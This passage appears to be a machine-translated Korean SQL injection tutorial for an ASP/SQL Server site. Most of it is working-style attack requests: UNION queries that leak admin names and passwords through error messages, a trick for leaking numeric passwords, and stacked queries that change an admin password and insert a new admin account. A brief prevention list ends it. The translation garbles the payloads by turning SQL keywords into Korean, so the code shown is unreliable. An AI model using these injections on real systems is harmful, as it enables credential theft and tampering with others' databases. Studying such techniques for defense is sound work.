명령문에 UNION 연산자가 포함된 경우 ORDER BY 항목이 선택 목록에 나타나야 합니다.
/index.asp, 5번째 줄

6.2. 필요한 데이터를 어떻게 얻나요?

이제 몇 가지 중요한 테이블을 식별했으므로 동일한 기술을 사용하여 데이터베이스에서 정보를 검색할 수 있습니다.

"admin_login" 테이블에서 첫 번째 login_name을 가져오겠습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값을 변환하는 중 구문 오류가 발생했습니다. "neo" to a column of data type int. !}
/index.asp, 5번째 줄

이제 우리는 로그인 이름이 "neo"인 관리자가 있다는 것을 알고 있습니다. 마지막으로 비밀번호 "neo"를 얻을 수 있습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 비밀번호 FROM admin_login 여기서 login_name="neo"--

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값 "m4trix를 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/index.asp, 5번째 줄

이제 비밀번호 "m4trix"를 사용하여 "neo"로 로그인할 수 있습니다.

6.3 문자열의 숫자값을 어떻게 구하나요?

위에서 설명한 방법에는 한계가 있습니다. 숫자(0~9 사이의 문자만)로 구성된 텍스트를 변환하려고 하면 오류 메시지가 표시되지 않습니다. 이제 사용자 "trinity"로부터 비밀번호 "31173"을 얻는 방법을 설명하겠습니다.

http://duck/index.asp?id=10 UNION SELECT TOP 1 비밀번호 FROM admin_login 여기서 login_name="trinity"--

아마도 "페이지를 찾을 수 없음" 오류가 발생할 것입니다. 그 이유는 비밀번호 "31173"이 정수가 포함된 UNION(이 경우 10) 앞에 숫자로 변환되기 때문입니다. UNION 표현식이 정확하기 때문에 SQL Server는 오류 메시지를 생성하지 않으므로 숫자 레코드를 얻을 수 없습니다.

이 문제를 해결하려면 끝에 숫자 문자열과 일부 문자를 추가하여 변환이 진행되지 않도록 할 수 있습니다. 수정된 요청:

http://duck/index.asp?id=10 UNION SELECT TOP 1 변환(int, 비밀번호%2b"%20morpheus") FROM admin_login 여기서 login_name="trinity"--

단순히 더하기 기호(+)를 사용하여 텍스트에 비밀번호를 추가합니다("+"에 대한 ASSCII 인코딩 = 0x2b). 다음으로 실제 비밀번호 끝에 "%20morpheus"를 추가하겠습니다. 따라서 비밀번호 값이 "31173"이더라도 "31173 모르페우스"가 됩니다. "31173 morpheus"를 정수로 변환하려고 시도하는 변환() 함수를 수동으로 호출하면 SQL Server에서 ODBC 오류 메시지가 표시됩니다.

ODBC 드라이버용 Microsoft OLE DB 공급자 오류 "80040e07"
nvarchar 값 "31173 morpheus를 변환하는 중 구문 오류가 발생했습니다." to a column of data type int. !}
/index.asp, 5번째 줄

이제 비밀번호 "31173"을 사용하여 "trinity"로 로그인할 수 있습니다.

7.0 데이터베이스에 데이터를 수정/삽입하는 방법은 무엇입니까?

테이블의 열별로 모든 사람의 이름을 얻은 후에는 다음을 수행할 수 있습니다. 테이블에 새 레코드를 업데이트(UPDATE)하거나 삽입(INSERT)할 수도 있습니다. 예를 들어 "neo"의 비밀번호를 변경할 수 있습니다.

http://duck/index.asp?id=10; 업데이트 "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

데이터베이스에 새 레코드를 삽입하려면:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

이제 비밀번호 "newpas5"를 사용하여 "neo"로 로그인할 수 있습니다.

8.0 SQL 주입을 방지하는 방법은 무엇입니까?

다음의 모든 줄에서 특수 문자를 필터링합니다.

사용자가 입력한 모든 데이터
- URL 매개변수
- 쿠키

숫자 값의 경우 SQL 쿼리에 전달하기 전에 정수로 변환하세요. 또는 ISNUMERIC을 사용하여 정수인지 확인하세요.

권한이 없는 사용자로 SQL Server를 실행합니다.

사용하지 않는 저장 프로시저 제거: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask